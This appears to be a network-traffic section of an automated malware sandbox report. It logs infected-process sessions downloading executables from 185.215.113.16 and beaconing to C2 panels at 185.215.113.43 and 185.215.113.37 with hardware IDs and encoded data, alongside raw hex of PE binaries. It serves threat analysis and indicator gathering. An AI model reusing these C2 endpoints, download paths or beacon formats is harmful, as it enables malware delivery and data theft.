Oct 24, 2024 04:58:33.489316940 CEST	424	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 04:58:33.489350080 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 04:58:33.489383936 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: ZZ(@
Oct 24, 2024 04:58:33.489415884 CEST	1236	IN	Data Raw: d0 75 8d a8 37 d1 ad ca 98 61 48 33 c5 81 8f 8c 10 e1 82 76 57 c5 80 30 19 14 fb 22 61 51 ea 74 91 70 46 90 4c 20 f2 c5 a8 01 8f b0 28 6d 82 6a 17 c5 80 f0 29 d4 a9 68 e8 61 46 9c 35 c9 2d a7 90 51 1e d1 7b f6 c0 c0 94 c3 5e ac 37 65 0d 63 78 52 Data Ascii: u7aH3vW0"aQtpFL (mj)haF5-Q{^7ecxRhbHm(bU;6JmeE^pQI8Q1O<H_ MmJR"2^buPOcF)tPm!(NHqa[~ I5jqB`LqWi"C^7ebQ1IakO
Oct 24, 2024 04:58:33.489451885 CEST	236	IN	Data Raw: 94 32 a4 cd 1c 87 42 90 3e dc a9 b7 48 59 46 c3 c8 63 26 9d d9 ba 77 69 66 71 cc cd 49 26 06 42 4e 9d 26 e4 41 98 97 fe a0 43 c9 89 1b 45 f6 7c b9 82 81 f8 17 ea ff 03 62 a1 e1 fb 9a cb 26 ae 5a 00 ef 36 cb 42 b2 4b a0 0f 8f 96 eb f3 31 8c 6b 86 Data Ascii: 2B>HYFc&wifqI&BN&ACE\|b&Z6BK1k)GF+."QuHF#)9RbC:if NlWCXhfSSN]&~E)qN9\QTC:-LTr4KC~Fd#@1}VGQMW
Oct 24, 2024 04:58:33.489481926 CEST	1236	IN	Data Raw: 86 49 8d cd 11 59 37 0f 69 78 3d 76 68 45 48 6d 1e 72 87 49 4a 68 be fc 20 83 51 d9 34 c1 92 17 a1 c7 82 83 b2 11 1f 2c 1a 0d 51 09 89 78 5e 71 61 ca 3f a5 ad 17 a1 81 4b 8c bb 82 95 e2 5e 60 be 0f 7b 50 4c 89 42 6a 4a 61 5b 41 95 d5 36 26 2f 49 Data Ascii: IY7ix=vhEHmrIJh Q4,Qx^qa?K^`{PLBjJa[A6&/IZL@F_yMGn?r4RRa~g:\|'Hg[k^}[tsUxsP,TpX]LX`9 /NUe<]$7\|PKA\|3lI8^NJ:{N
Oct 24, 2024 04:58:33.489515066 CEST	1236	IN	Data Raw: 5f 73 83 35 e9 3e 72 d0 ac b6 8d 6e 8f 42 15 cb f8 40 2a 48 7f a9 f1 fb 11 77 4f fd 80 85 af d0 17 29 d9 d7 99 d7 ea 5e c1 3a f1 88 a2 21 c3 61 50 6f 83 45 3a 1c 27 f3 90 f3 06 04 4a ca 8b 2c a3 7a 2e b1 8b 9a 37 bf 44 03 81 db 6b 51 ef 2b 0f d7 Data Ascii: _s5>rnB@*HwO)^:!aPoE:'J,z.7DkQ+eT-pW?~N-p@D=`&q=0FIGWCpDWyb>CetK1]`NBlJ}"[nHR`aVTB`Bh)Tn`NMHxr<ZlTaLUv.6
Oct 24, 2024 04:58:33.489550114 CEST	1236	IN	Data Raw: 50 1b 41 0f f1 9b 82 4e fd c6 63 77 c9 e3 32 82 e5 8c 47 6a 67 de 1e b9 14 44 0c ca 57 45 9c 9f f2 04 ba 3d 0f 29 89 73 3e 2b fa a9 60 9f 5d 40 70 31 43 28 73 ba 18 43 dc 71 14 c6 aa 43 a1 97 72 43 7f 8f 1c b1 38 f1 48 d1 8e fb bc d8 a4 96 ba 6e Data Ascii: PANcw2GjgDWE=)s>+`]@p1C(sCqCrC8Hn)r$$JTcXySU[f`Kfs3D)$wsM!Rhz@-]J/cMHr8b(2KP!aI'SY\HSWZBe
Oct 24, 2024 04:58:33.494926929 CEST	1236	IN	Data Raw: e1 6e 66 18 74 4a 4a 21 a4 0a 69 ad 0f 21 04 61 59 3b 70 59 37 b4 74 0a 1a f3 7f e4 00 71 33 49 e8 39 66 04 1d 57 4c a8 d8 61 b6 28 a0 d4 d5 dd 1a f0 00 c5 2c e6 4d fd d3 ca 46 04 f7 6d 9e 44 28 95 5f b0 95 a5 8f 33 48 24 5f 66 97 8d e5 47 30 6c Data Ascii: nftJJ!i!aY;pY7tq3I9fWLa(,MFmD(_3H$_fG0lPCTV\|o2w(@p`dionCCe'+VM3G0IhCTKM]TX~Lsd:dhnP%PcL,/EQVtH;RcGM(e
Oct 24, 2024 04:58:40.269479990 CEST	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 24, 2024 04:58:40.545864105 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 02:58:40 GMT Content-Type: application/octet-stream Content-Length: 1877504 Last-Modified: Thu, 24 Oct 2024 02:50:28 GMT Connection: keep-alive ETag: "6719b5f4-1ca600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 c0 6a 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 6a 00 00 04 00 00 67 47 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$CXmYpy`\nRichPELJf$j@jgG@P%d% %(@.rsrc %8@.idata %8@ *%:@uolrxmarP`PD<@whwdztvnj@.taggant0j"@
Oct 24, 2024 04:58:45.758306026 CEST	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 24, 2024 04:58:46.034218073 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 02:58:45 GMT Content-Type: application/octet-stream Content-Length: 2742272 Last-Modified: Thu, 24 Oct 2024 01:44:44 GMT Connection: keep-alive ETag: "6719a68c-29d800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2a 00 00 04 00 00 25 5a 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$@* `@ %Z`Ui` @ @.rsrc`2@.idata 8@vxijesvo)x):@eoamyyhq )@.taggant@@")@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	50016	185.215.113.43	80	4092	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:58:35.244415045 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 31 31 30 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001104001&unit=246122658369
Oct 24, 2024 04:58:36.158389091 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 02:58:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	50017	185.215.113.16	80	4092	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:58:36.183949947 CEST	52	OUT	GET /test/num.exe HTTP/1.1 Host: 185.215.113.16
Oct 24, 2024 04:58:37.087690115 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 02:58:36 GMT Content-Type: application/octet-stream Content-Length: 314368 Last-Modified: Sun, 29 Sep 2024 08:19:54 GMT Connection: keep-alive ETag: "66f90daa-4cc00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 f0 69 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 10 26 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$CXmYpy`\nRichPELJf$i@&@(<%$.text .rdata@@.data#@.relocE%F@B
Oct 24, 2024 04:58:37.087733984 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 dc 41 00 00 00 00 00 00 00 00 00 81 ce 41 00 ea ce 41 00 00 00 00 Data Ascii: `AAAUQEE}tMUUEEE]UEExMUMMM]UQSjh0hAj(dE
Oct 24, 2024 04:58:37.087749958 CEST	1236	IN	Data Raw: 8b 8d 10 fc ff ff 51 83 ec 0c 8b cc 8d 95 04 fc ff ff 52 e8 eb 92 01 00 81 ec 88 00 00 00 8b cc 8d 45 08 50 e8 ca 00 00 00 8d 8d a4 fb ff ff 51 e8 be 3c 01 00 81 c4 a0 00 00 00 8d 8d a4 fb ff ff e8 1d 93 01 00 8d 8d f8 fb ff ff e8 e2 95 01 00 50 Data Ascii: QREPQ<Pd@5jjRAM]UQMM\|MHM<M0}MO]
Oct 24, 2024 04:58:37.087766886 CEST	336	IN	Data Raw: ff 51 ff 15 9c a8 64 00 85 c0 74 16 68 04 53 42 00 8d 95 cc fe ff ff 52 ff 15 9c a8 64 00 85 c0 75 05 e9 7d 04 00 00 68 1f 0e 42 00 8d 8d 94 fe ff ff e8 98 8d 01 00 83 7d 30 00 0f 84 e6 00 00 00 8d 45 24 50 8d 8d 6c fd ff ff 51 68 fc 54 42 00 8d Data Ascii: QdthSBRdu}hB}0E$PlQhTBxRPQhTTBREPQhSBREPQ}PZlx
Oct 24, 2024 04:58:37.087785959 CEST	1236	IN	Data Raw: 00 8d 8d 54 fd ff ff 51 8d 55 e8 52 8d 85 60 fd ff ff 50 8d 8d 94 fe ff ff e8 41 8e 01 00 8b c8 e8 ca 8e 01 00 8b c8 e8 33 8e 01 00 8b c8 e8 bc 8e 01 00 8b c8 e8 b5 8e 01 00 50 8d 8d 94 fe ff ff e8 99 8d 01 00 8d 8d 30 fd ff ff e8 ee 8c 01 00 8d Data Ascii: TQUR`PA3P0<HT`RQ<rh"BhWBPMQRhVBPdQ R
Oct 24, 2024 04:58:37.087853909 CEST	1236	IN	Data Raw: a9 64 00 c7 42 0c 00 00 00 00 c7 05 94 a9 64 00 00 00 00 00 5d c3 cc cc cc cc cc 55 8b ec 83 7d 08 00 74 23 8b 45 08 83 38 00 74 10 8b 4d 08 8b 51 04 3b 55 0c 7c 05 8b 45 08 eb 0e 8b 45 08 8b 48 08 89 4d 08 eb d7 8b 45 08 5d c3 cc cc cc cc cc cc Data Ascii: dBd]U}t#E8tMQ;U\|EEHME]UE3tUUE]UEEMQ+UUUEEMQ+UEPMUQEMHUEHJUztEHUQE
Oct 24, 2024 04:58:37.087881088 CEST	1236	IN	Data Raw: c4 0c a3 98 a5 64 00 6a 11 68 a0 1d 42 00 68 b4 1d 42 00 e8 3f 21 00 00 83 c4 0c a3 24 a2 64 00 6a 08 68 c8 1d 42 00 68 d4 1d 42 00 e8 26 21 00 00 83 c4 0c a3 18 a4 64 00 6a 0b 68 e0 1d 42 00 68 ec 1d 42 00 e8 0d 21 00 00 83 c4 0c a3 34 a6 64 00 Data Ascii: djhBhB?!$djhBhB&!djhBhB!4djhBhB djh(Bh8B ,djhHBh`B djhxBhB PdjhBhB \|djhBhBw djhBhB
Oct 24, 2024 04:58:37.087898016 CEST	1236	IN	Data Raw: 00 83 c4 0c a3 d8 a2 64 00 6a 15 68 88 22 42 00 68 a0 22 42 00 e8 69 1c 00 00 83 c4 0c a3 8c a3 64 00 6a 14 68 b8 22 42 00 68 d0 22 42 00 e8 50 1c 00 00 83 c4 0c a3 38 a5 64 00 6a 0e 68 e8 22 42 00 68 f8 22 42 00 e8 37 1c 00 00 83 c4 0c a3 94 a1 Data Ascii: djh"Bh"Bidjh"Bh"BP8djh"Bh"B7djh#Bh#Bdjh(#BhD#Bdjh`#Bht#Bdjh#Bh#Bdjh#Bh#Bdjh#Bh#B<djh#Bh
Oct 24, 2024 04:58:37.087913036 CEST	848	IN	Data Raw: 68 00 29 42 00 68 14 29 42 00 e8 a0 17 00 00 83 c4 0c a3 44 a3 64 00 6a 08 68 28 29 42 00 68 34 29 42 00 e8 87 17 00 00 83 c4 0c a3 24 a6 64 00 6a 14 68 40 29 42 00 68 58 29 42 00 e8 6e 17 00 00 83 c4 0c a3 88 a3 64 00 6a 15 68 70 29 42 00 68 88 Data Ascii: h)Bh)BDdjh()Bh4)B$djh@)BhX)Bndjhp)Bh)BUdjh)Bh)B<djh)Bh)B#djh)Bh)B,djhBh$Bddjh@Bh`B`djhBhB
Oct 24, 2024 04:58:37.087929010 CEST	1236	IN	Data Raw: 6a 0d 68 f0 2d 42 00 68 00 2e 42 00 e8 4e 14 00 00 83 c4 0c a3 0c a4 64 00 6a 10 68 10 2e 42 00 68 24 2e 42 00 e8 35 14 00 00 83 c4 0c a3 8c a4 64 00 6a 10 68 38 2e 42 00 68 4c 2e 42 00 e8 1c 14 00 00 83 c4 0c a3 6c a4 64 00 6a 10 68 60 2e 42 00 Data Ascii: jh-Bh.BNdjh.Bh$.B5djh8.BhL.Bldjh`.Bht.Bdjh.Bh.Bdjh.Bh.Bdjh.Bh.B\djh.Bh.B@djh.Bh/BDdjh/Bh(/Bm
Oct 24, 2024 04:58:37.093293905 CEST	1236	IN	Data Raw: 00 e8 85 0f 00 00 83 c4 0c a3 c0 a3 64 00 6a 02 68 38 35 42 00 68 3c 35 42 00 e8 6c 0f 00 00 83 c4 0c a3 a4 a3 64 00 6a 5f 68 40 35 42 00 68 a0 35 42 00 e8 53 0f 00 00 83 c4 0c a3 f8 a1 64 00 6a 06 68 00 36 42 00 68 08 36 42 00 e8 3a 0f 00 00 83 Data Ascii: djh85Bh<5Bldj_h@5Bh5BSdjh6Bh6B:ldjh6Bh6B!djh 6Bh(6Bdjh06Bh86Bdjh@6BhH6BdjhP6Bh\6Btdjhh6Bht6Bdjh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	50026	185.215.113.37	80	4948	C:\Users\user\AppData\Local\Temp\1001105001\num.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:58:39.285963058 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 04:58:40.196796894 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:58:40 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 04:58:40.287597895 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDAFBKECAKFCAAAKJDAK Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 41 46 42 4b 45 43 41 4b 46 43 41 41 41 4b 4a 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 31 34 41 37 44 32 32 39 31 32 35 34 30 37 31 31 37 33 38 35 33 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 46 42 4b 45 43 41 4b 46 43 41 41 41 4b 4a 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 46 42 4b 45 43 41 4b 46 43 41 41 41 4b 4a 44 41 4b 2d 2d 0d 0a Data Ascii: ------JDAFBKECAKFCAAAKJDAKContent-Disposition: form-data; name="hwid"E14A7D2291254071173853------JDAFBKECAKFCAAAKJDAKContent-Disposition: form-data; name="build"doma------JDAFBKECAKFCAAAKJDAK--
Oct 24, 2024 04:58:40.572560072 CEST	210	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:58:40 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	50028	185.215.113.43	80	4092	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:58:41.200064898 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 31 31 30 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001105001&unit=246122658369
Oct 24, 2024 04:58:42.124334097 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 02:58:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	50030	185.215.113.43	80	4092	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:58:44.048538923 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 24, 2024 04:58:44.957931995 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 02:58:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	50034	185.215.113.43	80	4092	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:58:46.641844988 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 24, 2024 04:58:47.444478035 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 02:58:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	50038	34.107.221.82	80	5232	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:58:48.285275936 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 04:58:48.879865885 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 38789 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	50040	185.215.113.43	80	4092	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:58:49.115058899 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 24, 2024 04:58:50.012264013 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 02:58:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	50041	185.215.113.37	80	5692	C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:58:50.261334896 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 04:58:51.162151098 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:58:51 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 04:58:51.166419983 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJJEHJJKJEGHJJKEBFBG Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 4a 45 48 4a 4a 4b 4a 45 47 48 4a 4a 4b 45 42 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 31 34 41 37 44 32 32 39 31 32 35 34 30 37 31 31 37 33 38 35 33 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 45 48 4a 4a 4b 4a 45 47 48 4a 4a 4b 45 42 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 45 48 4a 4a 4b 4a 45 47 48 4a 4a 4b 45 42 46 42 47 2d 2d 0d 0a Data 